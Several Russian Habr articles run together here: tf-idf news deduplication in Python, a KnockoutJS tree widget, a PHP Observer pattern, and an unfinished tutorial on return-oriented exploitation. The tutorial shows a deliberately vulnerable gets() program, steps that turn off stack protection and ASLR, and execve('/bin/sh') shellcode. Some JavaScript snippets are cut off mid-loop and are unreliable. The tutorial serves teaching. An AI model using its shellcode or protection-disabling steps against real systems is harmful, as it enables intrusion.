В новостном потоке появляется много дубликатов, когда несколько СМИ пишут про одно и то же событие. Иногда СМИ просто перепечатывает новость из другого источника с минимальными изменениями текста. Чтобы редакторы не тратили время на просмотр текстовых копий, нужна система, которая автоматически удаляет дубликаты. Для этого в NLP существует задача *text similarity*. При решении этой задачи каждый текст превращается в вектор чисел (BOW, tf-idf, doc2vec, взвешенная сумма эмбеддингов слов word2vec, эмбеддинг из sentence-трансформера) и полученные вектора сравниваются по некоторой метрике. Я реализовал через tf-idf векторизацию и косинусное расстояние с высоким порогом сходства.
**делюсь кодом для поиска текстовых дубликатов**
```
# python
import numpy as np
from sklearn.feature_extraction.text import TfidfVectorizer
class Dedublicator:
def __init__(self):
self.vectorizer = TfidfVectorizer()
def get_embeddings(self,list_of_texts):
#list_of_texts = clean_texts(list_of_texts)
embeddings = self.vectorizer.fit_transform(list_of_texts)
return embeddings
def find_duplicates(self,list_of_texts,sim=0.95):
sim = round(sim,2)
if not (-1<=sim<=1):
raise ValueError('sim-threshold have to be in [-1,1]')
embeddings = self.get_embeddings(list_of_texts)
clusters = np.array([-1]*len(list_of_texts))
for i in range(len(list_of_texts)):
if clusters[i]==-1:
tj = (clusters==-1)
cos_dist = embeddings[tj,:].dot(embeddings[i,:].T).T.toarray()[0]
cos_dist = np.round(cos_dist,2)>=sim
clusters[tj] += cos_dist.astype(np.int32)*(i+1)
idx_clusters = []
for x in np.unique(clusters):
idx_clusters.append(np.where(clusters == x)[0].tolist())
return idx_clusters
data = ['my text1', # i=0
'our text2', # i=1
'our text3', # i=2
'my text1', # i=3
'your text4'] # i=4
ded = Dedublicator()
print(ded.find_duplicates(data,0.9)) #[[0, 3], [1], [2], [4]]
print(ded.find_duplicates(data,0.3)) #[[0, 3], [1, 2], [4]]
```
Результаты
----------
За месяц работы с командой проекта удалось разработать и запустить в работу классификатор и дедубликатор новостей. Это привело к увеличению охвата важных событий и уменьшило количество ручного труда редакторов. Косвенно возросла оперативность реагирования на новость о конфликте, так как старые алгоритмы могли пропускать некоторые события и редакторам приходилось публиковать информацию намного позже — вечером, после дополнительной проверки. Теперь появилась возможность масштабировать решение на большее количество источников информации — в планах постепенное увеличение источников с 800 до 8-10 тысяч.
**UPD: забавные случаи**
Выше написал, что классификатор немного переобучился на названия некоторых профессий. Т.е. придал определенным словам огромный вес (например, токену "курьер"), проигнорировав контекст новостей. Для нас, человеков, ясно, что все слова-профессии являются синонимами с точки зрения труда. А с точки зрения математического алгоритма и статистики, различия есть в количестве данных: алгоритм видел новости о курьерах и медиках очень много раз; а новости о малярах и сварщиках — мало раз. Поэтому для алгоритма, вес токена "курьер" будет чуть выше веса токена "маляр". Поэтому иногда алгоритм "радует" своей работой редакторов и присылает на проверку не совсем те новости:
> 
А через несколько дней прислал развитие этого сюжета:
> 
Если вы знаете, как сделать что-то круто/правильно/красиво с помощью вашей экспертизы в некоторой области — свяжитесь с проектом через [tg bot](https://t.me/zabastcom_bot) или [почту](http://Zabastrikecom@gmail.com). Уверен, что ребята будут рады всем здравым предложениям для решения различных технических вызовов: от улучшения бэкенда до дизайна сайта и приложений. Есть интересные задачи и для Data Science специалиста:
* Настроить автоматическое создание документов-отчетов по шаблону, подобно годовым отчетам за [2021](https://zabastcom.org/apk/2021-2022_otchyot_Zabastcom_ver_3.pdf) и [2022](https://zabastcom.org/apk/2022-2023_otchyot_Zabastcom_ver_3.pdf) год.
* Сделать более глубокий анализ данных из API и дополнить им [раздел сайта со статистикой](https://www.zabastcom.org/statistics).
* Автоматизировать поиск [подобных](https://iz.ru/1434257/2022-12-01/rabotnik-avtomoiki-v-moskve-pogib-v-svoi-pervyi-rabochii-den) новостей о травмах/трагедиях на работе.
* Обучить (или применить существующую) *NER* модель для автоматического выделения профессий и других важных слов.
* Улучшить текущий классификатор с помощью увеличенного количества данных, [быстрого трансформера](https://huggingface.co/cointegrated/rubert-tiny2), разнообразных [текстовых аугментаций](https://alexanderdyakonov.wordpress.com/2020/11/09/text-augmentation/).
* Автоматизировать заполнение большинства полей из API нужными словами, обрабатывая текст новости (сейчас все поля конфликта заполняются редактором): **'titleRu'** — заголовок, **'conflictReasonId'** — причина трудового конфликта, **'conflictResultId'** — итог конфликта, **'industryId'** — индустрия, **'companyName'** — название предприятия и др.
* Настроить показ интерактивных дашбордов на сайте.
* Научиться определять необычные формулировки трудовых конфликтов (поиск текстовых аномалий).
Вместо заключения
-----------------
ЗабастКом передает пламенный привет всем единомышленникам и призывает других технических специалистов быть неравнодушными к проблемам людей. Людей, которые лечат, учат, строят, готовят, доставляют, водят, делают уборку и многое необходимое другое. Благодаря разделению труда и профессиям, создающим все блага для жизни, другие люди могут заниматься умственным трудом (программированием, наукой, искусством) и целенаправленно работать над улучшением жизни всех трудящихся масс.
Последнее время меня всё больше интересуют социально-экономические аспекты устройства общества. Возможно, поэтому тема поста оказалась на пересечении нескольких направлений. Во время работы с данными по этой теме увидел, как могут быть устроены отношения между рабочим коллективом и работодателем. Больнее всего видеть и чувствовать, какой несправедливости и издевательствам подвергают многих трудящихся эти "эффективные собственники". Несправедливость, в свою очередь, всегда вызывала, вызывает и будет вызывать наш коллективно-трудовой отпор. Еще вспоминается известная фраза: *ничего личного, просто бизнес*. Ее можно переформулировать, когда речь идет о праве Человека на достойный труд: *это не бизнес, это личное*. | https://habr.com/ru/post/707760/ | null | ru | null |
# Knockoutjs. «Растим» дерево
Судя по частоте появления статей, [KnockoutJS](http://knockoutjs.com/) набирает [популярность](http://habrahabr.ru/search/?q=knockoutjs) на Хабре. Внесу и я свою лепту. Хочу осветить тему нестандартных для HTML элементов управления и «дерева» в частности. Под деревом здесь понимается аналог элемента управления TreeView. Статья подразумевает, что читатель уже знаком с KnockoutJS на базовом уровне. Публикация может рассматриваться, как пособие для изучения KnockoutJS. С другой стороны, надеюсь, и опытные пользователи KnockoutJS смогут почерпнуть для себя что-то новое.
Для отображения TreeView написано немало библиотек. A для использования сторонних библиотек совместно с KnockoutJS традиционно создаются соответствующие привязки(binding) для KnockoutJS. К сожалению, часто TreeView библиотеки громадны, содержат избыток функциональности, часто необходимо приспосабливать свою модель данных под библиотеку. Если нужно использовать TreeView совместно с KnockoutJS, программист ведет поиск идеальной библиотеки и привязки. Не всегда под найденную библиотеку есть готовая привязка, так что приходится создавать свою привязку, и тут начинается самое интересное — изучение внутренностей библиотеки, что не всегда приятно. А хочется просто чтоб работало… Тут предлагается альтернативный подход — сделать TreeView прямо на KnockoutJS.
Для начала будем строить абстрактное дерево, без привязки к данным. Привязку к реальным данным вы сможете осуществить сами, когда будете «растить» свои деревья. Либо эту проблему решит мой способ повторного использования кода KnockoutJS, который я покажу в конце.
… и не дерево, а список.
========================
Традиционно деревья на HTML строят при помощи набора вложенных неупорядоченных списков (тег UL) и CSS стилей. Т.е. для построения дерева необходимо генерировать примерно следующую HTML разметку:
```
* Узел 1
+ Узел 3
* Узел 2
```
Внешний вид узлов настраивается при помощи css классов.
Модель отображения(ViewModel), очевидно, можно построить из двух объектов — TreeViewNode и TreeView для начала так:
```
function TreeViewNode(caption,children){
this.caption = caption;
this.children = children;
}
function TreeView(children){
this.children = children;
}}
```
Тут возникает соблазн обойтись лишь одним TreeViewNode, поскольку TreeView отличается лишь отсутствием поля caption. Однако с этим не стоит торопиться, поскольку позже у этих объектов будет намного больше отличий.
Разметка с привязкой к модели будет использовать рекурсивный шаблон:
```
<li>
<span data-bind='text:caption'></span>
<ul data-bind='template: {name:"treeNode", foreach: children}'>
</ul>
</li>
```
Конечно нам необходимо заполнить нашу модель данными и инициализировать привязку:
```
var vm = {
tree: new TreeView([
new TreeViewNode('Node 1',[
new TreeViewNode('Node 3')
]),
new TreeViewNode('Node 2')
])
};
ko.applyBindings(vm);
```
Вот что у нас получилось:
[JSFiddle](http://jsfiddle.net/xdenser/wjTqf/) для экспериментов.
Пока что это не похоже на TreeView. Необходимо назначить CSS классы и добавить соответствующие стили.
Отражение положения.
====================
Классы должны отражать положение и состояние узла дерева. Состояние узла должно отражаться и в модели, поэтому перейдем к модели.
Узел может быть развернут или свернут. Одно состояние из другого можно получить простой операцией, но для удобства определим оба:
```
function TreeViewNode(caption,children){
...
this.isOpen = ko.observable();
this.isClosed = ko.computed(function(){
return !this.isOpen();
},this);
...
}
```
Я сделал свойства `.isOpen, .isClosed` наблюдаемыми(observable), поскольку они зависят друг от друга, и их изменение будет автоматически приводить к изменениям в DOM. Изменяя эти свойства, мы будем раскрывать/сворачивать узлы дерева.
Я сделал `.isClosed` свойством только для чтения, чтобы не плодить лишнего кода и не вводить лишнюю здесь циклическую зависимость, хотя и ее можно «разрулить». Таким образом, напрямую изменять можно только свойство `.isOpen`.
Для правильного отображения нам также важно знать, есть ли у узла дети (можно ли его раскрыть) и является ли узел последним на своем уровне, чтобы не рисовать от него линию к следующему узлу.
```
function TreeViewNode(caption,children){
...
this.children = children||[];
this.isLeaf = !this.children.length;
this.isLast = false;
...
}
```
Поскольку узел может не иметь детей, а это значит, что свойство `children` или пустое(null или undefined), или представляет собой массив нулевой длины, я добавил этому вопросу однозначности — инициализировал свойство пустым массивом, если детей нам не передали.
Что касается свойства isLast, есть два варианта подхода к его реализации. Его можно сделать ko.computed c передачей в узел ссылки на его родителя, либо сделать так, чтобы родитель вычислял свойства isLast своих детей. Я выбрал второй подход, потому что с ним пока меньше кода. Первый подход тоже может пригодиться, поскольку ссылка на родителя узла полезна во многих сценариях. Впрочем, перейти от одного к другому потом будет легко.
Итак, добавляем обработку свойства isLast:
```
function setIsLast(children){
for(var i=0,l=children.length;i
```
Теперь добавим в шаблоне узла привязки для соответствующих классов:
```
...
- ...
...
```
Осталось добавить возможность сворачивать и раскрывать узлы:
```
function TreeViewNode(caption,children){
var self = this;
...
this.toggleOpen = function(){
self.isOpen(!self.isOpen());
};
...
}
```
И добавить привязку:
```
...
- ...
...
```
`clickBubble: false` нужно для того, чтоб событие не всплывало к родителям и не влияло на них.
Оп-па новый стиль.
==================
Можно переходить к CSS. Я не стал придумывать свой CSS, а просто упростил стили из другой библиотеки.
Привожу их ниже:
**Стили**
```
.tree li,
.tree ins{ background-image:url("http://habrastorage.org/storage2/0eb/507/98d/0eb50798dca00f5cc8e153e6da9a87f9.png"); background-repeat:no-repeat; background-color:transparent; }
.tree li { background-position:-90px 0; background-repeat:repeat-y; }
.tree li { display:block; min-height:18px; line-height:18px; white-space:nowrap; margin-left:18px; min-width:18px; }
.tree ul, .tree li { display:block; margin:0 0 0 0; padding:0 0 0 0; list-style-type:none; }
.tree li { display:block; min-height:18px; line-height:18px; white-space:nowrap; margin-left:18px; min-width:18px; }
.tree > ul > li { margin-left:0px; }
.tree li.last { background:transparent; }
.tree .open > ins { background-position:-72px 0;}
.tree .closed > ins { background-position:-54px 0;}
.tree .leaf > ins { background-position:-36px 0;}
.tree ins { display:inline-block; text-decoration:none; width:18px; height:18px; margin:0 0 0 0; padding:0; }
li.open > ul { display:block; }
li.closed > ul { display:none; }
```
**Полный JavaScript**
```
function setIsLast(children){
for(var i=0,l=children.length;i
```
**Полный HTML**
```
<li data-bind='css:{closed:isClosed,open:isOpen, leaf: isLeaf, last: isLast}, click: toggleOpen, clickBubble: false'>
<ins></ins>
<span data-bind='text:caption'></span>
<ul data-bind='template: {name:"treeNode", foreach: children}'>
</ul>
</li>
```
Получилось примерно так:
[JSFiddle](http://jsfiddle.net/xdenser/wjTqf/13/) для экспериментов.
Не очень красиво, но уже вполне функционально. Теперь не сложно добавить каждому узлу иконку или checkbox. Можно сделать узлы выделяемыми. Но прежде всего хотелось бы сделать код более универсальным, чтобы TreeView можно было легко использовать с произвольной иерархической структурой данных. Более того, необходимо, чтобы изменения в данных автоматически отражались в модели дерева, а далее и в DOM.
В ФП это называют «map».
========================
Для начала введем вспомогательную функцию, которая будет ставить в соответствие массиву данных массив моделей узлов.
```
function dataToNodes(dataArray){
var res = [];
for(var i=0,l=dataArray.length;i
```
`TreeViewNode` теперь берет на вход не надпись узла и «детей», а некие абстрактные данные. Очевидно, что надпись и «детей» он должен сам извлекать из данных. И для начала предположим, что данные не совсем абстрактные, а это объект, в котором подпись хранится в свойстве `caption`, а «дети» в свойстве `children`, которое является массивом.
```
function TreeViewNode(data){
...
this.data = data;
this.caption = data.caption;
if(data.children) this.children = dataToNodes(data.children);
else this.children = [];
...
}
```
Это не тот map, который map в ФП.
=================================
Впрочем, нам несложно отказаться от жесткой привязки к именам свойств. Пусть нам передается некий объект `map`, в котором указывается соответствие свойств:
```
function TreeViewNode(data){
...
this.data = data;
var captionProp = (map && map.caption)||'caption',
childrenProp = (map && map.children)||'children';
this.caption = data[captionProp];
if(data[childrenProp]) this.children = dataToNodes(data[childrenProp]);
else this.children = [];
...
}
```
А еще лучше, чтобы была возможность определять соответствие свойств динамически, исходя из типа объекта `data`:
```
function TreeViewNode(data){
...
this.data = data;
var
map = (typeof propMap == 'function') ? propMap(data):propMap,
captionProp = (map && map.caption)||'caption',
childrenProp = (map && map.children)||'children';
...
}
```
Теперь можно спрятать объявление `TreeViewNode` и вспомогательных функций внутрь объявления модели `TreeView`, поскольку экземпляры `TreeViewNode` более не должны создаваться пользователем самостоятельно.
**Полный JavaScript**
```
function TreeView(data, propMap){
this.data = data;
this.children = dataToNodes(data);
setIsLast(this.children);
function dataToNodes(dataArray){
var res = [];
for(var i=0,l=dataArray.length;i
```
[JSFiddle](http://jsfiddle.net/xdenser/4ebM7/3/) для экспериментов.
Магия начинается тут.
=====================
Теперь нам необходимо выполнить последнее требование — автоматическое отражение изменений данных в модели «дерева». Воспользуемся «магией» KnockoutJS при помощи объектов `ko.observable, ko.computed, ko.observableArray`. Для этого нам необходимо всего лишь сделать свойство `children` вычисляемым. А также изменить код для других свойств, которые от него зависят:
```
function TreeViewNode(data){
...
if(data[childrenProp]) this.children = ko.computed(function(){
return dataToNodes(ko.utils.unwrapObservable(data[childrenProp]));
});
else this.children = null;
...
this.isLeaf = ko.computed(function(){
return !(this.children && this.children().length);
},this);
this.isLast = ko.observable(false);
if(this.children){
setIsLast(this.children());
this.children.subscribe(function(newVal){
setIsLast(newVal);
});
}
...
```
Функция `ko.utils.unwrapObservable` возвращает текущее значение наблюдаемого объекта, или, если это не наблюдаемый объект, то же значение, что передали ей на вход. Использование `ko.utils.unwrapObservable` внутри `ko.computed` автоматически создаст зависимость и `.children` будет автоматически обновляться, если мы использовали в качестве данных наблюдаемое значение. С другой стороны можно использовать и просто JS массив, тогда автоматического отслеживания изменений не будет.
Аналогично поступаем для `TreeView`
```
function TreeView(data, propMap){
...
this.children = ko.computed(function(){
return dataToNodes(ko.utils.unwrapObservable(data));
});
setIsLast(this.children());
this.children.subscribe(function(newVal){
setIsLast(newVal);
});
...
```
Теперь изменения в данных будут автоматически отражаться в модели «дерева» и далее автоматически в DOM.
Можете поэкспериментировать с [JSFiddle](http://jsfiddle.net/xdenser/4ebM7/4/).
Есть только одна неприятная проблема — добавление узлов сворачивает наше дерево. Это происходит оттого, что мы каждый раз при обновлении создаем модели `TreeViewNode` заново. Необходим более умный подход — создавать модели только для новых данных, а для старых использовать старые. Это можно реализовать двумя способами:
1. Сохранять ссылку на `TreeViewNode` в данных;
2. При обновлении списка узлов искать `TreeViewNode` в старом списке.
Я покажу первый способ, потому что он короче. Однако он имеет ограничение — если вы захотите использовать один и тот же объект для разных узлов дерева, этот способ не сработает. Точнее он будет приводить к неожиданным эффектам. Но если у вас каждому объекту данных соответствует только один узел дерева, то все будет нормально.
Итак:
```
function TreeViewNode(data){
...
data._treeviewNode = this; // сохраняем в данных ссылку на наш узел
...
}
function dataToNodes(dataArray,old){
var res = [];
for(var i=0,l=dataArray.length;i
```
Возможность выбора — это всегда приятно.
========================================
Наше «дерево» практически выращено. Для полного счастья нам не хватает только возможности выбирать отдельные узлы «дерева».
```
function TreeView(data, propMap){
var treeView = this; // сохраняем ссылку на TreeView
this.selectedNode = ko.observable(); // выделенный узел
...
function TreeViewNode(data){
...
this.isSelected = ko.computed(function(){ // показывает выделен ли этот узел
return (treeView.selectedNode()===this)
},this);
this.toggleSelection = function(){ // обработчик события для выделения
if(this.isSelected()) treeView.selectedNode(null);
else treeView.selectedNode(this);
}
}
}
```
Также необходимо дополнить шаблон:
```
...
...
```
Теперь мы можем построить полноценный редактор «дерева».
**Полный JavaScript**
```
function TreeView(data, propMap){
var treeView = this;
this.data = data;
this.selectedNode = ko.observable();
this.children = ko.computed(function(){
return dataToNodes(ko.utils.unwrapObservable(data));
});
setIsLast(this.children());
this.children.subscribe(function(newVal){
setIsLast(newVal);
});
function dataToNodes(dataArray,old){
var res = [];
for(var i=0,l=dataArray.length;i
```
**Полный HTML**
```
Add New Root Node
Add Child toSelected Node
Delete Selected Node
<li data-bind='css:{closed:isClosed,open:isOpen, leaf: isLeaf, last: isLast}, click: toggleOpen, clickBubble: false'>
<ins></ins>
<span class='caption' data-bind='text:caption, css: {selected:isSelected},click:toggleSelection, clickBubble: false'></span>
<ul data-bind='template: {name:"treeNode", foreach: children}'>
</ul>
</li>
```
**Полный CSS**
```
.tree li,
.tree ins{ background-image:url("http://habrastorage.org/storage2/0eb/507/98d/0eb50798dca00f5cc8e153e6da9a87f9.png"); background-repeat:no-repeat; background-color:transparent; }
.tree li { background-position:-90px 0; background-repeat:repeat-y; }
.tree li { display:block; min-height:18px; line-height:18px; white-space:nowrap; margin-left:18px; min-width:18px; }
.tree ul, .tree li { display:block; margin:0 0 0 0; padding:0 0 0 0; list-style-type:none; }
.tree li { display:block; min-height:18px; line-height:18px; white-space:nowrap; margin-left:18px; min-width:18px; }
.tree > ul > li { margin-left:0px; }
.tree li.last { background:transparent; }
.tree .open > ins { background-position:-72px 0;}
.tree .closed > ins { background-position:-54px 0;}
.tree .leaf > ins { background-position:-36px 0;}
.tree ins { display:inline-block; text-decoration:none; width:18px; height:18px; margin:0 0 0 0; padding:0; }
li.open > ul { display:block; }
li.closed > ul { display:none; }
.selected {background-color: #ccc; }
span.caption {cursor: pointer}
```
[JSFiddle](http://jsfiddle.net/xdenser/4ebM7/5/) для экспериментов.
Итоги. Скрытый пиар. Раздача слонов.
====================================
Итак, мы получили вполне работоспособную реализацию TreeView приспособленную для работы с Knockout, которая занимает на JavaScript чуть более 60 строк кода, понятна, легко может быть расширена новыми функциями, легко адаптируется к модели данных. Теперь рассмотрим возможные сценарии повторного использования:
1. Copy&Paste функции TreeView свой JS код или вынесение ее в отдельный файл. Вставка стилей в свои стили, или импорт стилей в виде отдельного файла. Вставка и адаптация шаблонов. Такой сценарий похож на сценарий использования code snippet.
2. Сделать свою привязку (binding).
3. Воспользоваться моей библиотекой [knockout-component](https://github.com/xdenser/knockout-component) для конвертации набора шаблон+модель в привязку.
Я воспользовался третьим способом. Теперь вставка дерева сводится к такому HTML коду:
```
```
Как я это сделал — тема для отдельной статьи. А посмотреть на предыдущий пример, но уже с использованием TreeView в качестве компонента можно тут [JSFiddle](http://jsfiddle.net/xdenser/kuBXG/1/)
Сам компонент доступен на [GitHub](https://github.com/xdenser/kc-tree-habr). | https://habr.com/ru/post/165565/ | null | ru | null |
# Реализация паттерна Observer средствами PHP 5.3
Прочитав недавно нововведения PHP 5.3, я обратил внимание на несколько интересных особенностей, скомпоновав которые можно получить реализацию шаблона проектирования Observer, гораздо красивее, чем имеющиеся в pear и symfony, причём вся реализация займёт всего несколько строк кода.
**Новое в PHP5.3**
*Анонимные функции.*
Анонимные функции позволяют нам создавать callback'и, фактически на месте, не объявляя никаких функций в основном коде.
*\_\_invoke()*
Благодаря новому магическому методу, мы можем переопределять событие, происходящее при вызове объекта. Т.е., фактически, к объекту можно обращаться как к функции.
**Класс Event**
Начнём с, собственно, класса Event. Чтение чужих исходников не могло пройти в пустую и единственный способ управления событиями, который я по началу видел, состоял в реализации кучи методов типа connectEvent и т.п.
В силу же своей природной лени, не хотелось лишний раз заниматься этой рутиной и тогда я вспомнил про замечательный класс ArrayObject, позволяющий хранить данные прямо в объекте и работать с ними напрямую, как с элементами массива. Вот что получилось:
```
php
class Event extends ArrayObject {
public function __invoke() {
foreach($this as $callback)
call_user_func_array($callback, func_get_args());
}
}
</code
```
Объект данного класса будет хранить в себе callback'и, а при обращении к объекту как к функции, он будет вызывать по очереди все callback'и.
Пример:
```
php
$test = new Event();
/* Setting up callbacks */
$test[] = function($msg, $txt) {
echo "This is the event! <br /";
};
$test[] = function($msg, $txt) {
echo "**Message**: $msg. **Text**: $txt
";
};
$test[] = function($msg, $txt) {
echo "Works great!
";
};
/* call */
$test("Some message", "Some text");
```
Теперь, казалось бы, осталось самую малость — прикрутить это к какому-нибудь классу. Но всё не так просто.
**Класс Eventable**
Дело в том, что при попытки обращения к property, как к функции, PHP попытается найти такую функцию в классе и выдаст ошибку, вместо того, чтобы вызывать \_\_invoke для property.
Можно убедиться на этом примере:
```
class Test {
public $onA;
public function __construct() {
$this->onA = new Event();
}
public function A($txt) {
$this->onA("This is A.", $txt);
}
}
$test = new Test();
$test->onA[] = function($msg, $txt) {
echo "This is the event!
";
};
$test->A("Le Test");
```
Это значит, что нам придется переубедить класс, что он хочет вызывать функцию, тем более, что такой нет. Боюсь, что для этого придётся применить костыль и я буду очень признателен, если кто-то предложит решение более красивое, чем вот это:
```
php
class Eventable {
public function __call($name, $args) {
if( method_exists($this, $name) )
call_user_func_array(array(&$this, $name), $args);
else
if( isset($this-{$name}) && is_callable($this->{$name}) )
call_user_func_array($this->{$name}, $args);
}
}
```
Теперь лишь осталось расширить Test от Eventable и насладиться результатом:
```
class Test extends Eventable {
public $onA;
public function __construct() {
$this->onA = new Event();
}
public function A($txt) {
$this->onA("This is A.", $txt);
}
}
$test = new Test();
/* setting up callbacks */
$test->onA[] = function($msg, $txt) {
echo "This is the event!
";
};
$test->onA[] = function($msg, $txt) {
echo "**Message**: $msg. **Text**: $txt
";
};
$test->onA[] = function($msg, $txt) {
echo "Works great!
";
};
/* call */
$test->A("Le Test");
```
Кстати, в качестве callback'ов можно указывать не только анонимные функции, но и объявленные нормально и даже методы классов!
```
$test->onA[] = "some_function";
$test->onA[] = array(&$some_object, "some_method");
``` | https://habr.com/ru/post/106426/ | null | ru | null |
# Return oriented programming. Собираем exploit по кусочкам
**Введение**
В этой статье мы попробуем разобраться как работает Return Oriented эксплоит. Тема, в принципе, так себе заезженная, и в инете валяется немало публикаций, но я постараюсь писать так, чтобы эта статья не была их простой компиляцией. По ходу нам придется разбираться с некоторыми системными особенностями Linux и архитектуры x86-64 (все нижеописанные эксперименты были проведены на Ubuntu 14.04). Основной целью будет эксплуатирование тривиальной уязвимости gets с помощью ROP (Return oriented programming).
**Уязвимость**
На самом деле понятно, что поиск уязвимостей — отдельная проблема. Неплохо было бы начать с того, чтобы придумать какую-нибудь простую уязвимость. Вот например функция gets(), входящая в стандартную библиотеку С, является одной большой уязвимостью, ей и воспользуемся.
```
#include
#include
int func()
{
int val = 0;
char buf[10];
gets(buf);
printf("%s\n", buf);
val = strlen(buf);
return val;
}
int main(int argc, char \*\*argv) {
return func();
}
```
Данный код считывает из stdin всё, что видит, пока не наткнется на символ конца строки или файла. Вообще говоря, применение этой функции не очень приветствуется и существует она лишь для обратной совместимости. Тем не менее, сам не раз видел свежий код, в котором люди применяли эту функцию. Ну и бог с ним. Попробуем скомпилировать (о значении -fno-stack-protector поговорим позже).
```
gcc -o main main.c -g -Wall -fno-stack-protector
```
gcc ещё два раза предупредил нас об абсурдности наших действий (сообщение может отсутствовать в других сборках gcc)
```
main.c: In function 'func':
main.c:7:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
gets(buf);
^
/tmp/ccBFHgPN.o: In function `func':
/home/alexhoppus/Desktop/rop_tutorial/main.c:7: warning: the `gets' function is dangerous and should not be used.
```
Ну ладно, давайте разбираться чего он там лепечет про dangerous и deprecated.
**Smash the stack**
Из кода выше видно, что есть буфер, в который считывается строка. Буфер находится на стеке. Как известно, стек — это не больше чем кусок rw памяти в адресном пространстве приложения. Давайте попробуем восстановить его layout на x86-64. Делать мы это будем с помощью утилиты objdump, а затем проверим с помощью gdb.
```
objdump -d main
00000000004005bd :
4005bd: 55 push %rbp
4005be: 48 89 e5 mov %rsp,%rbp
4005c1: 48 83 ec 10 sub $0x10,%rsp
4005c5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
4005cc: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005d0: 48 89 c7 mov %rax,%rdi
4005d3: e8 e8 fe ff ff callq 4004c0
4005d8: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005dc: 48 89 c7 mov %rax,%rdi
4005df: e8 9c fe ff ff callq 400480
4005e4: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005e8: 48 89 c7 mov %rax,%rdi
4005eb: e8 a0 fe ff ff callq 400490
4005f0: 89 45 fc mov %eax,-0x4(%rbp)
4005f3: 8b 45 fc mov -0x4(%rbp),%eax
4005f6: c9 leaveq
4005f7: c3 retq
00000000004005f8 :
4005f8: 55 push %rbp
4005f9: 48 89 e5 mov %rsp,%rbp
4005fc: 48 83 ec 10 sub $0x10,%rsp
400600: 89 7d fc mov %edi,-0x4(%rbp)
400603: 48 89 75 f0 mov %rsi,-0x10(%rbp)
400607: b8 00 00 00 00 mov $0x0,%eax
40060c: e8 ac ff ff ff callq 4005bd
400611: c9 leaveq
400612: c3 retq
400613: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40061a: 00 00 00
40061d: 0f 1f 00 nopl (%rax)
```
Начнем со строки в main, которая делает вызов func (40060c). callq можно представить в виде push адреса возврата (400611) и jump на адрес func. Таким образом, первым на стек кладется адрес возврата. Когда мы прыгнули на func мы пушим на стек %rbp — адрес начала предыдущего стек фрейма. Далее мы расширяем стек (стек растет вниз) на 16 байт и зануляем первые 4 байта после сохраненного %rbp — видимо, это наша переменная val на стеке. Функции gets передается указатель на буфер через регистр %rdi, который вычисляется следующим образом lea -0x10(%rbp),%rax. Резюмируем картинкой:
Из картинки можно заключить, что, если записать в буфер строку, в которой больше чем 15 символов (+1 байт конец строки), то наше приложение скорее всего свалится, так как мы перезапишем %rbp — адрес начала предыдущего стек фрейма. При этом из текущей функции func мы выйдем в main нормально, но потом у нас возникнут проблемы — программа будет думать, что ее стек вовсе не там, где он есть на самом деле, а так как на стеке хранится %rip — адрес возврата, мы получим SIGSEGV от ядра Linux, когда возвратимся по неверному адресу.
Теперь посмотрим на стек с точки зрения gdb:
```
python -c "print 'a'*15" > input2
gdb ./main
(gdb) b func
Breakpoint 1 at 0x4005c5: file main.c, line 5.
(gdb) r < input2
(gdb) info register
...
rsp 0x7fffffffde90 0x7fffffffde90
...
(gdb) x/100x 0x7fffffffde90
0x7fffffffde90: 0x61616161 0x61616161 0x61616161 0x00616161
0x7fffffffdea0: 0xffffdec0 0x00007fff 0x00400611 0x00000000
0x7fffffffdeb0: 0xffffdfa8 0x00007fff 0x00000000 0x00000001
```
Сейчас мы окончательно можем быть уверены в том, что не ошиблись. Попробуйте ввести на stdin больше 15 символов и убедитесь, что приложение получит SIGSEGV. Теперь пришло время вернуться к опции -fno-stack-protector. Повторим этот трюк без нее (внимание: данная опция у меня по умолчанию включена — такая сборка gcc, у Вас может быть наоборот).
```
gcc -o main main.c -g -Wall
python -c "print 'a'*26" | ./main
aaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./main terminated
Aborted (core dumped)
```
Флаг -fstack-protector позволяет включить поддержку защиты от переполнения буфера со стороны gcc. Принцип её работы прост — между %rip, %rbp и доступным для записи буфером на стек помещается известное компилятору значение, после выхода из функции значение считывается со стека и сверяется с первоначальным. Если на лицо несовпадение, то мы увидим сообщение о stack smashing. Вы можете сами лицезреть механизм работы stack canaries при помощи просто дисасемблинга objdump -d
```
000000000040062d :
...
400635: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
40063c: 00 00
40063e: 48 89 45 f8 mov %rax,-0x8(%rbp)
...
400675: 48 8b 55 f8 mov -0x8(%rbp),%rdx
400679: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
400680: 00 00
400682: 74 05 je 400689
400684: e8 77 fe ff ff callq 400500 <\_\_stack\_chk\_fail@plt>
400689: c9 leaveq
40068a: c3 retq
```
Чтобы упростить себе жизнь при написании ROP экслоита, приложение мы будем компилировать с флагом -fno-stack-protector. Это будет первый из двух механизмов защиты, который мы умышленно выключим, чтобы упростить себе жизнь.
**Address space layout randomization**
Рассказывая об ASLR, наверное, уже стоит перейти к сути дела. Как вы понимаете, злоумышленник может переполнить буфер на стеке и перезаписать адрес возврата, чтобы прыгнуть на какой — либо код. Остается вопрос — куда прыгать и откуда там взяться нужному хакеру коду? На стек код закинуть не получится, потому что стек не исполняемый. Это обеспечивается на уровне таблиц страниц, которые формируют виртуальное адресное пространство процесса, иными словами в page table entry нет флага «X» (executable). Можно прыгать на замапленные библиотеки, вернее на некоторые куски кода из этих библиотек. На этом принципе и основано return oriented programming. Чтобы нельзя было заранее угадать адрес, в который мапится библиотека, а, следовательно, и адрес конкретного кусочка кода из библиотеки, при старте приложения положение библиотеки в адресном пространстве процесса рандомизируется. Это фича ядра Linux, которая контролируется через proc.
```
echo 0 > /proc/sys/kernel/randomize_va_space
```
Для упрощения её тоже придется отключить.
**Exec /bin/sh**
Ну что же, приложение с уязвимостью собрано без защиты от переполнения стека, ASLR выключена. Теперь, для демонстрации уязвимости, заставим процесс — жертву вызвать /bin/sh вместо себя. Для начала необходимо представлять как код эксплоита будет выглядеть:
```
section .text
global _start
_start:
mov rax, 0x3b
mov rdi, cmd
mov rsi, 0
mov rdx, 0
syscall
section .data
cmd: db '/bin/sh'
.end:
```
